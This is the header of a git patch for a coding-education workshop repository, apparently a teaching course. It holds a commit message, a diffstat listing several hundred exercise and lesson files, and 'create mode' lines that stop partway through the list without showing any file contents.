From 0557a49304ddc15b90037d62052ffa556e787b57 Mon Sep 17 00:00:00 2001 From: nparker94 Date: Sun, 22 Mar 2026 17:33:07 +0000 Subject: [PATCH] Adding more detail to interviewing workshop --- .gitignore | 7 + .questions/questions-0/index.md | 6 + .questions/questions-1/index.md | 6 + .questions/questions-10/0.md | 6 + .questions/questions-10/index.md | 0 .questions/questions-11/1.md | 6 + .questions/questions-12/3.md | 4 + .questions/questions-13/6.md | 16 + .questions/questions-14/7.md | 98 + .questions/questions-15/4.md | 4 + .questions/questions-16/5.md | 6 + .questions/questions-17/2.md | 9 + .questions/questions-2/index.md | 10 + .questions/questions-3/index.md | 6 + .questions/questions-4/index.md | 6 + .questions/questions-5/index.md | 6 + .questions/questions-6/index.md | 26 + .questions/questions-7/7.js | 5 + .questions/questions-7/7.json | 4 + .questions/questions-7/index.md | 10 + .questions/questions-8/8.js | 9 + .questions/questions-8/index.md | 16 + .questions/questions-9/9.js | 12 + .vscode/launch.json | 12 + arrays/0.js | 14 + arrays/100.js | 10 + arrays/200.js | 9 + arrays/300.js | 19 + arrays/600.test.js | 26 + arrays/700.test.js | 17 + arrays/800.js | 21 + arrays/900.js | 37 + arrays/readme.md | 22 + asking-questions/index.html | 113 + asking-questions/readme.md | 129 + asking-questions/styles.css | 102 + bits-and-rats/readme.md | 135 + breakdown/index.html | 46 + breakdown/random-product.js | 100 + breakdown/readme.md | 157 + breaking-down-quote-app/README.md | 117 + clean-code/README.md | 16 + collective-job-hunting/readme.md | 31 + components-1/assets/app.js | 26 + components-1/assets/styles.css | 12 + components-1/docs/base/index.html | 127 + components-1/docs/base/styles.css | 46 + components-1/docs/card/card.txt | 4 + components-1/docs/card/index.html | 138 + components-1/docs/card/styles.css | 19 + components-1/docs/footer/footer.txt | 6 + components-1/docs/footer/index.html | 137 + components-1/docs/footer/styles.css | 8 + components-1/docs/header/header.txt | 40 + components-1/docs/header/index.html | 138 + components-1/docs/header/styles.css | 16 + components-1/docs/layout/index.html | 126 + components-1/docs/layout/styles.css | 15 + components-1/docs/main/index.html | 138 + components-1/docs/main/main.txt | 6 + components-1/docs/main/styles.css | 25 + components-1/docs/menu/index.html | 148 + components-1/docs/menu/menu.js | 26 + components-1/docs/menu/menu.txt | 19 + components-1/docs/menu/styles.css | 13 + components-1/docs/reset/index.html | 128 + components-1/docs/reset/styles.css | 20 + components-1/docs/theme/index.html | 126 + components-1/docs/theme/styles.css | 20 + components-1/docs/what-are-components.html | 202 + components-1/index.html | 120 + components-1/readme.md | 100 + components-1/teams.html | 234 + components-1/together.html | 47 + components-2/assets/app.js | 26 + components-2/assets/styles.css | 11 + components-2/data/components.js | 53 + components-2/docs/base/base.css | 46 + components-2/docs/base/index.html | 85 + components-2/docs/card/card.css | 19 + components-2/docs/card/card.js | 33 + components-2/docs/card/card.txt | 6 + components-2/docs/card/index.html | 88 + components-2/docs/footer/footer.css | 8 + components-2/docs/footer/footer.js | 14 + components-2/docs/footer/footer.txt | 6 + components-2/docs/footer/index.html | 87 + components-2/docs/header/header.css | 16 + components-2/docs/header/header.js | 44 + components-2/docs/header/header.txt | 40 + components-2/docs/header/index.html | 88 + components-2/docs/index.html | 202 + components-2/docs/layout/index.html | 84 + components-2/docs/layout/layout.css | 15 + components-2/docs/main/index.html | 88 + components-2/docs/main/main.css | 25 + components-2/docs/main/main.txt | 6 + components-2/docs/menu/index.html | 88 + components-2/docs/menu/menu-item.js | 7 + components-2/docs/menu/menu.css | 13 + components-2/docs/menu/menu.js | 26 + components-2/docs/menu/menu.txt | 19 + components-2/docs/reset/index.html | 86 + components-2/docs/reset/reset.css | 20 + components-2/docs/template/index.html | 87 + components-2/docs/theme/index.html | 87 + components-2/docs/theme/theme.css | 20 + components-2/index.html | 87 + components-2/readme.md | 178 + components-2/teams.html | 234 + components-2/together.html | 47 + crud/albums.json | 20 + crud/index.html | 21 + crud/package-lock.json | 1099 + crud/package.json | 20 + crud/readme.md | 154 + crud/server.js | 7 + dad-joke/index.html | 31 + dad-joke/readme.md | 48 + db-backup/readme.md | 67 + debugging-2/100/app.js | 20 + debugging-2/100/index.html | 27 + debugging-2/100/readme.md | 7 + debugging-2/100/style.css | 81 + debugging-2/200/app.js | 46 + debugging-2/200/index.html | 31 + debugging-2/200/readme.md | 7 + debugging-2/200/style.css | 81 + debugging-2/300/app.js | 61 + debugging-2/300/index.html | 39 + debugging-2/300/readme.md | 7 + debugging-2/300/style.css | 81 + debugging-2/debug_checklist.md | 13 + debugging-2/readme.md | 8 + debugging-3/README.md | 25 + debugging-3/features/email.feature | 19 + debugging-3/features/episodes.feature | 13 + debugging-3/features/ratings.feature | 13 + debugging-3/package-lock.json | 28948 ++++++++++++++++ debugging-3/package.json | 38 + debugging-3/public/index.html | 12 + debugging-3/src/App.css | 57 + debugging-3/src/App.js | 89 + debugging-3/src/App.test.js | 8 + debugging-3/src/index.css | 13 + debugging-3/src/index.js | 17 + debugging-3/src/reportWebVitals.js | 13 + debugging/bank/1.js | 16 + debugging/bank/2.js | 18 + debugging/bank/3.js | 16 + debugging/bank/4.js | 16 + debugging/bank/5.js | 20 + debugging/bank/findLargest.js | 10 + debugging/bank/sumArray.js | 8 + debugging/readme.md | 169 + devtools/assets/app.js | 26 + devtools/assets/styles.css | 183 + devtools/index.html | 196 + devtools/readme.md | 179 + dom-merge-conflict/.gitignore | 1 + dom-merge-conflict/README.md | 84 + dom-merge-conflict/babel.config.js | 3 + dom-merge-conflict/jest.config.js | 5 + dom-merge-conflict/package-lock.json | 6717 ++++ dom-merge-conflict/package.json | 12 + .../tasks/buttons-and-counter/instructions.md | 23 + .../tasks/buttons-and-counter/src/app.js | 31 + .../buttons-and-counter/test/app.test.js | 56 + .../conditional-rendering/instructions.md | 32 + .../src/profilePreview.js | 22 + .../test/profilePreview.test.js | 95 + .../optimistic-rendering/instructions.md | 23 + .../tasks/optimistic-rendering/src/voter.js | 30 + .../optimistic-rendering/test/voter.test.js | 195 + .../tasks/processing-page/instructions.md | 36 + .../processing-page/src/processingPage.js | 29 + .../test/processingPage.test.js | 235 + error-handling/readme.md | 69 + error-handling/webpage/index.html | 27 + error-handling/webpage/script.js | 58 + explaining-code/README.md | 61 + express-setup/readme.md | 588 + feedback/readme.md | 148 + get-forms/index.html | 13 + get-forms/readme.md | 125 + git-cli/branching.md | 20 + git-cli/checkpoint.md | 15 + git-cli/committing.md | 22 + git-cli/exercises/ex-1.js | 8 + git-cli/exercises/ex-2.js | 13 + git-cli/exercises/ex-3.js | 10 + git-cli/exercises/ex-4.js | 7 + git-cli/exercises/ex-5.js | 12 + git-cli/exercises/ex-6.js | 5 + git-cli/readme.md | 42 + git-cli/recap.md | 29 + git-cli/staging.md | 44 + git-day-1/README.md | 352 + git-day-1/check-current-branch-is-main.png | Bin 0 -> 135327 bytes .../check-current-branch-week-1-workshop.png | Bin 0 -> 144237 bytes git-day-1/feature-branch-ahead.png | Bin 0 -> 304245 bytes git-day-1/main-and-feature-in-sync.png | Bin 0 -> 249367 bytes git-day-1/vscode-sidebar-source-control.png | Bin 0 -> 23429 bytes go.mod | 3 + goblin-breakdown/contact/completed.js | 31 + goblin-breakdown/contact/data.json | 5 + goblin-breakdown/contact/index.html | 17 + goblin-breakdown/contact/index.js | 9 + goblin-breakdown/contact/styles.css | 23 + goblin-breakdown/readme.md | 72 + google-sheets-sql-quiz/readme.md | 104 + index.html | 125 + instructional-design/readme.md | 167 + instructional-design/strategies.png | Bin 0 -> 177461 bytes interview-introductions/readme.md | 57 + interviewing/readme.md | 129 + introduction-to-typescript/.gitignore | 2 + .../DAY_PLAN_WORKSHOP.md | 268 + introduction-to-typescript/README.md | 25 + introduction-to-typescript/package-lock.json | 1649 + introduction-to-typescript/package.json | 13 + .../src/examples/1_basicTypes.ts | 29 + .../src/examples/2_objectTypes.ts | 29 + .../src/examples/3_functionTypes.ts | 57 + introduction-to-typescript/src/exercise1.ts | 23 + introduction-to-typescript/src/exercise2.ts | 7 + introduction-to-typescript/src/exercise3.ts | 20 + .../src/tests/exercise1.test.ts | 40 + .../src/tests/exercise2.test.ts | 15 + .../src/tests/exercise3.test.ts | 12 + .../tsconfig.exercise2.json | 7 + introduction-to-typescript/tsconfig.json | 14 + introduction-to-typescript/vitest.config.ts | 12 + jobs-in-tech/README.md | 75 + js1-wk1-eval/level-100.js | 9 + js1-wk1-eval/level-200.js | 16 + js1-wk1-eval/level-300.js | 12 + js1-wk1-eval/level-400.js | 14 + js1-wk1-eval/level-500.js | 7 + js1-wk1-eval/level-600.js | 8 + js1-wk1-eval/level-700.js | 6 + js1-wk1-eval/level-800.js | 10 + js1-wk1-eval/level-900.js | 8 + js1-wk1-eval/level-999.js | 12 + js1-wk1-eval/readme.md | 21 + jwt/auth-conversation.avif | Bin 0 -> 86548 bytes jwt/auth-drawbacks.avif | Bin 0 -> 108443 bytes jwt/auth-false.png | Bin 0 -> 44729 bytes jwt/auth.avif | Bin 0 -> 48807 bytes jwt/bearer-403.png | Bin 0 -> 44430 bytes jwt/bearer-is-auth.png | Bin 0 -> 58240 bytes jwt/bearer.png | Bin 0 -> 39783 bytes jwt/browser.png | Bin 0 -> 8492 bytes jwt/cookie-auth.avif | Bin 0 -> 81595 bytes jwt/cors.png | Bin 0 -> 226782 bytes jwt/env.png | Bin 0 -> 138842 bytes jwt/error.png | Bin 0 -> 44998 bytes jwt/is-authenticated.png | Bin 0 -> 55336 bytes jwt/jwt-auth.avif | Bin 0 -> 72170 bytes jwt/nodemon.png | Bin 0 -> 14798 bytes jwt/postman.png | Bin 0 -> 26314 bytes jwt/readme.md | 722 + jwt/response.png | Bin 0 -> 57522 bytes jwt/running.png | Bin 0 -> 14798 bytes jwt/signin.png | Bin 0 -> 24763 bytes jwt/token.png | Bin 0 -> 54173 bytes know-your-computer/readme.md | 34 + learning-objectives/readme.md | 80 + llm-writing-1/readme.md | 96 + .../site-logo/site-logo-small.svg | 10 + .../custom-images/site-logo/site-logo.svg | 14 + .../custom-theme/02-variables/colors.scss | 75 + .../custom-theme/02-variables/fonts.scss | 7 + .../assets/custom-theme/states/dark.scss | 4 + .../assets/custom-theme/states/light.scss | 4 + micro-front-end/build.sh | 48 + micro-front-end/content/_index.md | 190 + micro-front-end/go.mod | 5 + micro-front-end/go.sum | 2 + micro-front-end/hugo.toml | 62 + micro-front-end/static/404.html | 11 + node-challenge-london-mini-guide/CLIENT.md | 51 + .../CYF-React-Express-Template/.eslintrc.cjs | 20 + .../CYF-React-Express-Template/.gitignore | 34 + .../CYF-React-Express-Template/.prettierrc | 19 + .../HOW-TO-GET-HELP.md | 46 + .../HOW_TO_REVIEW.md | 67 + .../CYF-React-Express-Template/LICENSE.txt | 386 + .../CYF-React-Express-Template/README.md | 15 + .../CYF-React-Express-Template/index.html | 13 + .../package-lock.json | 7149 ++++ .../CYF-React-Express-Template/package.json | 42 + .../postcss.config.js | 8 + .../CYF-React-Express-Template/public/cyf.svg | 1 + .../src/client/App.jsx | 22 + .../src/client/App.test.jsx | 15 + .../src/client/index.css | 3 + .../src/client/main.jsx | 10 + .../src/server/index.js | 10 + .../src/setupTests.jsx | 1 + .../tailwind.config.js | 8 + .../CYF-React-Express-Template/vite.config.js | 12 + node-challenge-london-mini-guide/README.md | 90 + node-challenge-london-mini-guide/SERVER.md | 60 + .../data/Harrow.json | 538 + .../data/Heathrow.json | 587 + .../data/Stratford.json | 505 + objects/100.js | 28 + objects/200.js | 14 + objects/300.js | 24 + objects/400.js | 46 + objects/500.js | 28 + objects/600.js | 16 + objects/readme.md | 22 + onboarding-new-volunteers/README.md | 50 + package-lock.json | 6 + package.json | 1 + paint-the-room/readme.md | 103 + pitch-camp/readme.md | 94 + playing-computer/example-0.js | 17 + playing-computer/example-1.js | 16 + playing-computer/example-2.js | 19 + playing-computer/example-3.js | 19 + playing-computer/readme.md | 79 + polish/polish-checklist.md | 24 + polish/readme.md | 153 + prioritisation-and-estimating/README.md | 128 + projectboard/readme.md | 50 + questions-and-reviews/questions/0.md | 28 + questions-and-reviews/questions/1.js | 5 + questions-and-reviews/questions/1.md | 10 + questions-and-reviews/questions/2.js | 9 + questions-and-reviews/questions/2.md | 16 + questions-and-reviews/questions/3.md | 4 + questions-and-reviews/questions/4.md | 6 + questions-and-reviews/questions/5.md | 13 + questions-and-reviews/questions/6.js | 13 + questions-and-reviews/questions/6.md | 24 + questions-and-reviews/questions/readme.md | 3 + questions-and-reviews/readme.md | 50 + questions-and-reviews/timings.md | 11 + react-pokedex/pokedex-1/readme.md | 116 + react-pokedex/pokedex-2/readme.md | 88 + react-pokedex/pokedex-3/readme.md | 114 + react-pokedex/pokedex-4/readme.md | 69 + react-pokedex/pokedex/.eslintrc.cjs | 20 + react-pokedex/pokedex/.gitignore | 24 + react-pokedex/pokedex/README.md | 8 + react-pokedex/pokedex/index.html | 13 + react-pokedex/pokedex/package-lock.json | 4758 +++ react-pokedex/pokedex/package.json | 29 + react-pokedex/pokedex/public/vite.svg | 1 + react-pokedex/pokedex/src/App.css | 42 + react-pokedex/pokedex/src/App.jsx | 35 + react-pokedex/pokedex/src/assets/react.svg | 1 + react-pokedex/pokedex/src/index.css | 68 + react-pokedex/pokedex/src/main.jsx | 10 + react-pokedex/pokedex/vite.config.js | 9 + react-pokedex/readme.md | 27 + readme.js | 123 + readme.md | 57 + reporting-bugs/readme.md | 278 + sorting-cards/README.md | 128 + sql-quiz/readme.md | 93 + stand-up/readme.md | 61 + technical-interviews/README.md | 72 + technical-writing-one/aortic.webp | Bin 0 -> 165202 bytes technical-writing-one/readme.md | 41 + template/readme.md | 24 + terminal-skills/README.md | 172 + testing/fizzbuzz.js | 3 + testing/fizzbuzz.test.js | 10 + testing/package-lock.json | 6181 ++++ testing/package.json | 15 + testing/readme.md | 79 + time-string/readme.md | 68 + touch-typing/presentation.pdf | Bin 0 -> 1018310 bytes touch-typing/readme.md | 15 + triangles/readme.md | 46 + triangles/triangles.js | 0 undefined/example1.js | 4 + undefined/example2.js | 6 + undefined/example3.js | 5 + undefined/example4.js | 2 + undefined/example5.js | 6 + undefined/readme.md | 7 + understanding-java/.gitignore | 1 + understanding-java/DnsResolver.java | 31 + understanding-java/README.md | 107 + user-needs-and-acceptance-criteria/README.md | 133 + wordle/readme.md | 52 + 391 files changed, 75744 insertions(+) create mode 100644 .gitignore create mode 100644 .questions/questions-0/index.md create mode 100644 .questions/questions-1/index.md create mode 100644 .questions/questions-10/0.md create mode 100644 .questions/questions-10/index.md create mode 100644 .questions/questions-11/1.md create mode 100644 .questions/questions-12/3.md create mode 100644 .questions/questions-13/6.md create mode 100644 .questions/questions-14/7.md create mode 100644 .questions/questions-15/4.md create mode 100644 .questions/questions-16/5.md create mode 100644 .questions/questions-17/2.md create mode 100644 .questions/questions-2/index.md create mode 100644 .questions/questions-3/index.md create mode 100644 .questions/questions-4/index.md create mode 100644 .questions/questions-5/index.md create mode 100644 .questions/questions-6/index.md create mode 100644 .questions/questions-7/7.js create mode 100644 .questions/questions-7/7.json create mode 100644 .questions/questions-7/index.md create mode 100644 .questions/questions-8/8.js create mode 100644 .questions/questions-8/index.md create mode 100644 .questions/questions-9/9.js create mode 100644 .vscode/launch.json create mode 100644 arrays/0.js create mode 100644 arrays/100.js create mode 100644 arrays/200.js create mode 100644 arrays/300.js create mode 100644 arrays/600.test.js create mode 100644 arrays/700.test.js create mode 100644 arrays/800.js create mode 100644 arrays/900.js create mode 100644 arrays/readme.md create mode 100644 asking-questions/index.html create mode 100644 asking-questions/readme.md create mode 100644 asking-questions/styles.css create mode 100644 bits-and-rats/readme.md create mode 100644 breakdown/index.html create mode 100644 breakdown/random-product.js create mode 100644 breakdown/readme.md create mode 100644 breaking-down-quote-app/README.md create mode 100644 clean-code/README.md create mode 100644 collective-job-hunting/readme.md create mode 100644 components-1/assets/app.js create mode 100644 components-1/assets/styles.css create mode 100644 components-1/docs/base/index.html create mode 100644 components-1/docs/base/styles.css create mode 100644 components-1/docs/card/card.txt create mode 100644 components-1/docs/card/index.html create mode 100644 components-1/docs/card/styles.css create mode 100644 components-1/docs/footer/footer.txt create mode 100644 components-1/docs/footer/index.html create mode 100644 components-1/docs/footer/styles.css create mode 100644 components-1/docs/header/header.txt create mode 100644 components-1/docs/header/index.html create mode 100644 components-1/docs/header/styles.css create mode 100644 components-1/docs/layout/index.html create mode 100644 components-1/docs/layout/styles.css create mode 100644 components-1/docs/main/index.html create mode 100644 components-1/docs/main/main.txt create mode 100644 components-1/docs/main/styles.css create mode 100644 components-1/docs/menu/index.html create mode 100644 components-1/docs/menu/menu.js create mode 100644 components-1/docs/menu/menu.txt create mode 100644 components-1/docs/menu/styles.css create mode 100644 components-1/docs/reset/index.html create mode 100644 components-1/docs/reset/styles.css create mode 100644 components-1/docs/theme/index.html create mode 100644 components-1/docs/theme/styles.css create mode 100644 components-1/docs/what-are-components.html create mode 100644 components-1/index.html create mode 100644 components-1/readme.md create mode 100644 components-1/teams.html create mode 100644 components-1/together.html create mode 100644 components-2/assets/app.js create mode 100644 components-2/assets/styles.css create mode 100644 components-2/data/components.js create mode 100644 components-2/docs/base/base.css create mode 100644 components-2/docs/base/index.html create mode 100644 components-2/docs/card/card.css create mode 100644 components-2/docs/card/card.js create mode 100644 components-2/docs/card/card.txt create mode 100644 components-2/docs/card/index.html create mode 100644 components-2/docs/footer/footer.css create mode 100644 components-2/docs/footer/footer.js create mode 100644 components-2/docs/footer/footer.txt create mode 100644 components-2/docs/footer/index.html create mode 100644 components-2/docs/header/header.css create mode 100644 components-2/docs/header/header.js create mode 100644 components-2/docs/header/header.txt create mode 100644 components-2/docs/header/index.html create mode 100644 components-2/docs/index.html create mode 100644 components-2/docs/layout/index.html create mode 100644 components-2/docs/layout/layout.css create mode 100644 components-2/docs/main/index.html create mode 100644 components-2/docs/main/main.css create mode 100644 components-2/docs/main/main.txt create mode 100644 components-2/docs/menu/index.html create mode 100644 components-2/docs/menu/menu-item.js create mode 100644 components-2/docs/menu/menu.css create mode 100644 components-2/docs/menu/menu.js create mode 100644 components-2/docs/menu/menu.txt create mode 100644 components-2/docs/reset/index.html create mode 100644 components-2/docs/reset/reset.css create mode 100644 components-2/docs/template/index.html create mode 100644 components-2/docs/theme/index.html create mode 100644 components-2/docs/theme/theme.css create mode 100644 components-2/index.html create mode 100644 components-2/readme.md create mode 100644 components-2/teams.html create mode 100644 components-2/together.html create mode 100644 crud/albums.json create mode 100644 crud/index.html create mode 100644 crud/package-lock.json create mode 100644 crud/package.json create mode 100644 crud/readme.md create mode 100644 crud/server.js create mode 100644 dad-joke/index.html create mode 100644 dad-joke/readme.md create mode 100644 db-backup/readme.md create mode 100644 debugging-2/100/app.js create mode 100644 debugging-2/100/index.html create mode 100644 debugging-2/100/readme.md create mode 100644 debugging-2/100/style.css create mode 100644 debugging-2/200/app.js create mode 100644 debugging-2/200/index.html create mode 100644 debugging-2/200/readme.md create mode 100644 debugging-2/200/style.css create mode 100644 debugging-2/300/app.js create mode 100644 debugging-2/300/index.html create mode 100644 debugging-2/300/readme.md create mode 100644 debugging-2/300/style.css create mode 100644 debugging-2/debug_checklist.md create mode 100644 debugging-2/readme.md create mode 100644 debugging-3/README.md create mode 100644 debugging-3/features/email.feature create mode 100644 debugging-3/features/episodes.feature create mode 100644 debugging-3/features/ratings.feature create mode 100644 debugging-3/package-lock.json create mode 100644 debugging-3/package.json create mode 100644 debugging-3/public/index.html create mode 100644 debugging-3/src/App.css create mode 100644 debugging-3/src/App.js create mode 100644 debugging-3/src/App.test.js create mode 100644 debugging-3/src/index.css create mode 100644 debugging-3/src/index.js create mode 100644 debugging-3/src/reportWebVitals.js create mode 100644 debugging/bank/1.js create mode 100644 debugging/bank/2.js create mode 100644 debugging/bank/3.js create mode 100644 debugging/bank/4.js create mode 100644 debugging/bank/5.js create mode 100644 debugging/bank/findLargest.js create mode 100644 debugging/bank/sumArray.js create mode 100644 debugging/readme.md create mode 100644 devtools/assets/app.js create mode 100644 devtools/assets/styles.css create mode 100644 devtools/index.html create mode 100644 devtools/readme.md create mode 100644 dom-merge-conflict/.gitignore create mode 100644 dom-merge-conflict/README.md create mode 100644 dom-merge-conflict/babel.config.js create mode 100644 dom-merge-conflict/jest.config.js create mode 100644 dom-merge-conflict/package-lock.json create mode 100644 dom-merge-conflict/package.json create mode 100644 dom-merge-conflict/tasks/buttons-and-counter/instructions.md create mode 100644 dom-merge-conflict/tasks/buttons-and-counter/src/app.js create mode 100644 dom-merge-conflict/tasks/buttons-and-counter/test/app.test.js create mode 100644 dom-merge-conflict/tasks/conditional-rendering/instructions.md create mode 100644 dom-merge-conflict/tasks/conditional-rendering/src/profilePreview.js create mode 100644 dom-merge-conflict/tasks/conditional-rendering/test/profilePreview.test.js create mode 100644 dom-merge-conflict/tasks/optimistic-rendering/instructions.md create mode 100644 dom-merge-conflict/tasks/optimistic-rendering/src/voter.js create mode 100644 dom-merge-conflict/tasks/optimistic-rendering/test/voter.test.js create mode 100644 dom-merge-conflict/tasks/processing-page/instructions.md create mode 100644 dom-merge-conflict/tasks/processing-page/src/processingPage.js create mode 100644 dom-merge-conflict/tasks/processing-page/test/processingPage.test.js create mode 100644 error-handling/readme.md create mode 100644 error-handling/webpage/index.html create mode 100644 error-handling/webpage/script.js create mode 100644 explaining-code/README.md create mode 100644 express-setup/readme.md create mode 100644 feedback/readme.md create mode 100644 get-forms/index.html create mode 100644 get-forms/readme.md create mode 100644 git-cli/branching.md create mode 100644 git-cli/checkpoint.md create mode 100644 git-cli/committing.md create mode 100644 git-cli/exercises/ex-1.js create mode 100644 git-cli/exercises/ex-2.js create mode 100644 git-cli/exercises/ex-3.js create mode 100644 git-cli/exercises/ex-4.js create mode 100644 git-cli/exercises/ex-5.js create mode 100644 git-cli/exercises/ex-6.js create mode 100644 git-cli/readme.md create mode 100644 git-cli/recap.md create mode 100644 git-cli/staging.md create mode 100644 git-day-1/README.md create mode 100644 git-day-1/check-current-branch-is-main.png create mode 100644 git-day-1/check-current-branch-week-1-workshop.png create mode 100644 git-day-1/feature-branch-ahead.png create mode 100644 git-day-1/main-and-feature-in-sync.png create mode 100644 git-day-1/vscode-sidebar-source-control.png create mode 100644 go.mod create mode 100644 goblin-breakdown/contact/completed.js create mode 100644 goblin-breakdown/contact/data.json create mode 100644 goblin-breakdown/contact/index.html create mode 100644 goblin-breakdown/contact/index.js create mode 100644 goblin-breakdown/contact/styles.css create mode 100644 goblin-breakdown/readme.md create mode 100644 google-sheets-sql-quiz/readme.md create mode 100644 index.html create mode 100644 instructional-design/readme.md create mode 100644 instructional-design/strategies.png create mode 100644 interview-introductions/readme.md create mode 100644 interviewing/readme.md create mode 100644 introduction-to-typescript/.gitignore create mode 100644 introduction-to-typescript/DAY_PLAN_WORKSHOP.md create mode 100644 introduction-to-typescript/README.md create mode 100644 introduction-to-typescript/package-lock.json create mode 100644 introduction-to-typescript/package.json create mode 100644 introduction-to-typescript/src/examples/1_basicTypes.ts create mode 100644 introduction-to-typescript/src/examples/2_objectTypes.ts create mode 100644 introduction-to-typescript/src/examples/3_functionTypes.ts create mode 100644 introduction-to-typescript/src/exercise1.ts create mode 100644 introduction-to-typescript/src/exercise2.ts create mode 100644 introduction-to-typescript/src/exercise3.ts create mode 100644 introduction-to-typescript/src/tests/exercise1.test.ts create mode 100644 introduction-to-typescript/src/tests/exercise2.test.ts create mode 100644 introduction-to-typescript/src/tests/exercise3.test.ts create mode 100644 introduction-to-typescript/tsconfig.exercise2.json create mode 100644 introduction-to-typescript/tsconfig.json create mode 100644 introduction-to-typescript/vitest.config.ts create mode 100644 jobs-in-tech/README.md create mode 100644 js1-wk1-eval/level-100.js create mode 100644 js1-wk1-eval/level-200.js create mode 100644 js1-wk1-eval/level-300.js create mode 100644 js1-wk1-eval/level-400.js create mode 100644 js1-wk1-eval/level-500.js create mode 100644 js1-wk1-eval/level-600.js create mode 100644 js1-wk1-eval/level-700.js create mode 100644 js1-wk1-eval/level-800.js create mode 100644 js1-wk1-eval/level-900.js create mode 100644 js1-wk1-eval/level-999.js create mode 100644 js1-wk1-eval/readme.md create mode 100644 jwt/auth-conversation.avif create mode 100644 jwt/auth-drawbacks.avif create mode 100644 jwt/auth-false.png create mode 100644 jwt/auth.avif create mode 100644 jwt/bearer-403.png create mode 100644 jwt/bearer-is-auth.png create mode 100644 jwt/bearer.png create mode 100644 jwt/browser.png create mode 100644 jwt/cookie-auth.avif create mode 100644 jwt/cors.png create mode 100644 jwt/env.png create mode 100644 jwt/error.png create mode 100644 jwt/is-authenticated.png create mode 100644 jwt/jwt-auth.avif create mode 100644 jwt/nodemon.png create mode 100644 jwt/postman.png create mode 100644 jwt/readme.md create mode 100644 jwt/response.png create mode 100644 jwt/running.png create mode 100644 jwt/signin.png create mode 100644 jwt/token.png create mode 100644 know-your-computer/readme.md create mode 100644 learning-objectives/readme.md create mode 100644 llm-writing-1/readme.md create mode 100644 micro-front-end/assets/custom-images/site-logo/site-logo-small.svg create mode 100644 micro-front-end/assets/custom-images/site-logo/site-logo.svg create mode 100644 micro-front-end/assets/custom-theme/02-variables/colors.scss create mode 100644 micro-front-end/assets/custom-theme/02-variables/fonts.scss create mode 100644 micro-front-end/assets/custom-theme/states/dark.scss create mode 100644 micro-front-end/assets/custom-theme/states/light.scss create mode 100755 micro-front-end/build.sh create mode 100644 micro-front-end/content/_index.md create mode 100644 micro-front-end/go.mod create mode 100644 micro-front-end/go.sum create mode 100644 micro-front-end/hugo.toml create mode 100644 micro-front-end/static/404.html create mode 100644 node-challenge-london-mini-guide/CLIENT.md create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/.eslintrc.cjs create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/.gitignore create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/.prettierrc create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/HOW-TO-GET-HELP.md create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/HOW_TO_REVIEW.md create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/LICENSE.txt create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/README.md create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/index.html create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/package-lock.json create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/package.json create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/postcss.config.js create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/public/cyf.svg create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.jsx create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/App.test.jsx create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/index.css create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/client/main.jsx create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/server/index.js create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/src/setupTests.jsx create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/tailwind.config.js create mode 100644 node-challenge-london-mini-guide/CYF-React-Express-Template/vite.config.js create mode 100644 node-challenge-london-mini-guide/README.md create mode 100644 node-challenge-london-mini-guide/SERVER.md create mode 100644 node-challenge-london-mini-guide/data/Harrow.json create mode 100644 node-challenge-london-mini-guide/data/Heathrow.json create mode 100644 node-challenge-london-mini-guide/data/Stratford.json create mode 100644 objects/100.js create mode 100644 objects/200.js create mode 100644 objects/300.js create mode 100644 objects/400.js create mode 100644 objects/500.js create mode 100644 objects/600.js create mode 100644 objects/readme.md create mode 100644 onboarding-new-volunteers/README.md create mode 100644 package-lock.json create mode 100644 package.json create mode 100644 paint-the-room/readme.md create mode 100644 pitch-camp/readme.md create mode 100644 playing-computer/example-0.js create mode 100644 playing-computer/example-1.js create mode 100644 playing-computer/example-2.js create mode 100644 playing-computer/example-3.js create mode 100644 playing-computer/readme.md create mode 100644 polish/polish-checklist.md create mode 100644 polish/readme.md create mode 100644 prioritisation-and-estimating/README.md create mode 100644 projectboard/readme.md create mode 100644 questions-and-reviews/questions/0.md create mode 100644 questions-and-reviews/questions/1.js create mode 100644 questions-and-reviews/questions/1.md create mode 100644 questions-and-reviews/questions/2.js create mode 100644 questions-and-reviews/questions/2.md create mode 100644 questions-and-reviews/questions/3.md create mode 100644 questions-and-reviews/questions/4.md create mode 100644 questions-and-reviews/questions/5.md create mode 100644 questions-and-reviews/questions/6.js create mode 100644 questions-and-reviews/questions/6.md create mode 100644 questions-and-reviews/questions/readme.md create mode 100644 questions-and-reviews/readme.md create mode 100644 questions-and-reviews/timings.md create mode 100644 react-pokedex/pokedex-1/readme.md create mode 100644 react-pokedex/pokedex-2/readme.md create mode 100644 react-pokedex/pokedex-3/readme.md create mode 100644 react-pokedex/pokedex-4/readme.md create mode 100644 react-pokedex/pokedex/.eslintrc.cjs create mode 100644 react-pokedex/pokedex/.gitignore create mode 100644 react-pokedex/pokedex/README.md create mode 100644 react-pokedex/pokedex/index.html create mode 100644 react-pokedex/pokedex/package-lock.json create mode 100644 react-pokedex/pokedex/package.json create mode 100644 react-pokedex/pokedex/public/vite.svg create mode 100644 react-pokedex/pokedex/src/App.css create mode 100644 react-pokedex/pokedex/src/App.jsx create mode 100644 react-pokedex/pokedex/src/assets/react.svg create mode 100644 react-pokedex/pokedex/src/index.css create mode 100644 react-pokedex/pokedex/src/main.jsx create mode 100644 react-pokedex/pokedex/vite.config.js create mode 100644 react-pokedex/readme.md create mode 100644 readme.js create mode 100644 readme.md create mode 100644 reporting-bugs/readme.md create mode 100644 sorting-cards/README.md create mode 100644 sql-quiz/readme.md create mode 100644 